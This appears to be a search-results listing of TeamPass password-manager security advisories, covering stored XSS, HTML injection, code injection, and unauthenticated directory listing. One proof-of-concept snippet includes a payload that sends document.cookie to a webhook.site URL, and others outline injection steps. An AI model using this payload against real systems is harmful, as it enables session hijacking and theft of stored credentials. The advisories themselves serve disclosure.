564 matches found
TeamPass 信息泄露漏洞
TeamPass is an open source password manager from the individual developer Nils Laumaillé. An information disclosure vulnerability exists in versions prior to TeamPass 3.0.10, which originates from exposing sensitive information to unauthorized participants...
TeamPass 代码注入漏洞
TeamPass is an open source password manager from the individual developer Nils Laumaillé. A code injection vulnerability exists in versions prior to TeamPass 3.0.10. An attacker could exploit this vulnerability to perform a code injection attack...
TeamPass Cross-site Scripting vulnerability
Cross-site Scripting XSS - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.10...
GHSA-PWRW-G29Q-3MP8 TeamPass Cross-site Scripting vulnerability
Cross-site Scripting XSS - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.10...
CVE-2023-3531
Cross-site Scripting XSS - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.10...
CVE-2023-3531 Cross-site Scripting (XSS) - Stored in nilsteampassnet/teampass
Cross-site Scripting XSS - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.10...
CVE-2023-3531 Cross-site Scripting (XSS) - Stored in nilsteampassnet/teampass
Cross-site Scripting XSS - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.10...
CVE-2023-3531
CVE-2023-3531: Cross-site Scripting (XSS) in nilsteampassnet/teampass prior to 3.0.10. The vulnerability is described as a stored XSS on the Search page, resulting from insufficient input sanitization in the pages/item component. Exploitation details are not consistently provided across documents...
TeamPass 跨站脚本漏洞
TeamPass is an open source password manager from the individual developer Nils Laumaillé. TeamPass suffers from a cross-site scripting vulnerability that stems from the presence of a stored-type cross-site scripting vulnerability...
The vulnerability of TeamPass’ password managers, related to inadequate access control, allows attackers to disclose sensitive information that should be protected.
The vulnerability of the TeamPass password manager is related to deficiencies in access control. Exploiting this vulnerability could allow a malicious actor, operating remotely, to disclose the protected information...
XSS Filter Bypass in Folder Name leading to Information Disclosure
Description Proof of Concept First, login to Teampass and go to the Folders tab. Create a new folder using Hex entities in the Label. In this case: scriptfetchhttpswebhooksitejlk documentcookiescript which is fetch'https://webhook.site/jlk/' + document.cookie Next, select the created folder and...
HTML Injection
teampass password manager is vulnerable to HTML injection .The vulnerability is due to lack of user input sanitisation while renaming a folder with user supplied folder name resulting in running malicious html when the same folder is accessed by other users including admin...
Cross Site Scripting (XSS)
teampass password manager is vulnerable to Stored XSS. The vulnerability is due to lack of sanitising user input while creating an item inside a folder which results in running malicious code when the same item is accessed by another user at later point in time...
Directory listing in multiple endpoints
Description Teampass has directory listing by default for various endpoints that eventually discloses application-specific and user data and files. Proof of Concept Visit the following endpoint without logging in to the application. Sensitive - https://127.0.0.1/includes configs -...
Stored XSS via Default session expiration time
Description The Default session expiration time feature when submitted HTML/JS tags executes the code in the login page. Proof of Concept Login to Teampass and go to Settings = Options. http://127.0.0.1/index.php?page=options In theDefault session expiration time input field insert an XSS payload...
GHSA-QMW8-X364-XXXM Teampass Cross-site Scripting vulnerability
In versions of nilsteampassnet/teampass prior to 3.0.9 some user input was not properly sanitized which may have lead to stored cross-site scripting XSS vectors in the application...
GHSA-P7XM-G427-JXFC Teampass Cross-site Scripting vulnerability
In versions of nilsteampassnet/teampass prior to 3.0.9 some user input was not properly sanitized which may have lead to stored cross-site scripting XSS vectors in the application...
Teampass Cross-site Scripting vulnerability
In versions of nilsteampassnet/teampass prior to 3.0.9 some user input was not properly sanitized which may have lead to stored cross-site scripting XSS vectors in the application...
Teampass Cross-site Scripting vulnerability
In versions of nilsteampassnet/teampass prior to 3.0.9 some user input was not properly sanitized which may have lead to stored cross-site scripting XSS vectors in the application...